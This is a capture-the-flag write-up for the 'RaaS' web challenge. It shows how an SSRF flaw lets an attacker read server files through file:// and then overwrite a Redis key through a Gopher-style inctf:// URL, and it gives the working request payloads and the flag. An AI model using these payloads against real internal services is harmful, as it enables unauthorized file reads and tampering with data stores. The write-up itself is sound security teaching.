RaaS

SSRF using Gopher protocol leads to tampering of Redis key-value store

Challenge

Description: Since everything is going online, I decided to make an easy Requests as a Service Bot to make life easier, but I seem to have messed up oops!!!

Author: Capt-k

Solution

Local File Inclusion

We are able to enter a URL for the server to request. A pretty trivial LFI vulnerability exists as a result of SSRF, allowing us to view files using the file:// protocol.

Since we're provided with the Dockerfile, we know that the server code is in /code/app.py.

ADD flask-server /code
WORKDIR /code
RUN pip install -r requirements.txt
CMD ["python", "app.py"]

Thus, we can request file:///code/app.py to view the server code.

POST / HTTP/1.1
Host: web.challenge.bi0s.in:6969
Content-Length: 33

...

url=file%3A%2F%2F%2Fcode%2Fapp.py

Immediately, we see that a Redis database is used. The hostname is redis, and it is listening on port 6379.

If a POST request is received, the Requests_On_Steroids function, which we will analyze later, is used to fetch the URL. Otherwise, the <userID>_isAdmin key in the Redis database is checked. If the value is "yes", then the flag is shown in the response.

from flask import Flask, request,render_template,request,make_response
import redis
import time
import os
from utils.random import Upper_Lower_string
from main import Requests_On_Steroids
app = Flask(__name__)

# Make a connection of the queue and redis
r = redis.Redis(host='redis', port=6379)
#r.mset({"Croatia": "Zagreb", "Bahamas": "Nassau"})
#print(r.get("Bahamas"))
@app.route("/",methods=['GET','POST'])
def index():
    if request.method == 'POST':
        url = str(request.form.get('url'))
        resp = Requests_On_Steroids(url)
        return resp
    else:   
        resp = make_response(render_template('index.html'))
        if not request.cookies.get('userID'):
            user=Upper_Lower_string(32)
            r.mset({str(user+"_isAdmin"):"false"})
            resp.set_cookie('userID', user)
        else:
            user=request.cookies.get('userID')
            flag=r.get(str(user+"_isAdmin"))
            if flag == b"yes":
                resp.set_cookie('flag',str(os.environ['FLAG']))
            else:
                resp.set_cookie('flag', "NAAAN")
        return resp

if __name__ == "__main__":
    app.run('0.0.0.0')

It appears that we would have to overwrite our <userID>_isAdmin value. Since we have a SSRF vulnerability, we might be able to leverage it to communicate with the Redis instance.

Redis Over Gopher

In main.py, we can see that the Requests_On_Steroids function supports the Gopher protocol. Using Gopher, we can communicate with any TCP server (but of course, we would have to follow the service's higher-layer protocol).

However, instead of gopher://, we must use inctf:// instead.

import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os
from modules.Gophers import GopherAdapter 
from modules.files import LocalFileAdapter 


def Requests_On_Steroids(url):
    try:
        s = requests.Session()
        s.mount("inctf:", GopherAdapter())
        s.mount('file://', LocalFileAdapter())
        resp = s.get(url)
        assert resp.status_code == 200
        return(resp.text)
    except:
        return "SOME ISSUE OCCURED"
    

#resp = s.get("butts://127.0.0.1:6379/_get dees")

In modules/Gophers.py, we find the GopherAdapter code.

import requests, re, io, socket
from urllib.parse import urlparse, unquote_plus
import os

...

class GopherAdapter(requests.adapters.BaseAdapter):

    ...

    def _connect_and_read(self, parsed):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(self._netloc_to_tuple(parsed.netloc))
        msg = parsed.path.replace('/_','')
        if hasattr(parsed, "query"):
            msg += "\t" + parsed.query
        msg += "\r\n"
        print(bytes(msg, 'utf-8'))
        s.sendall(bytes(msg, 'utf-8'))
        f = s.makefile("rb")
        res = b""
        data = f.readline()
        print(data)
        f.close()
        return res

    ...

With some Googling, we can find out that the Gopher adapter was actually modified from this GitHub gist. I wanted to find out if any changes was made from the original script, so I diff-ed the two scripts.

Interestingly, a line of code was modified to remove /_ in the URL's path.

msg = parsed.path.replace('/_','')

Ideally, we would send multi-line input using the RESP protocol, but this wouldn't work because urllib.parse was updated to strip newline characters.

Redis also offers inline commands, allowing us to send our commands directly, but without the above change, our inline commands (parsed.path) would still look like this:

/SET <userID>_isAdmin "yes"

The /SET command is unrecognized, leading to an error. Instead, we can leverage the replacement using the following payload:

url=inctf://redis:6379/_SET <userID>_isAdmin "yes"

The path, when replaced, would be

SET <userID>_isAdmin "yes"

which sets our <userID>_isAdmin value to "yes".

This gives us the flag: inctfi{IDK_WHY_I_EVEN_USED_REDIS_HERE!!!}

Last updated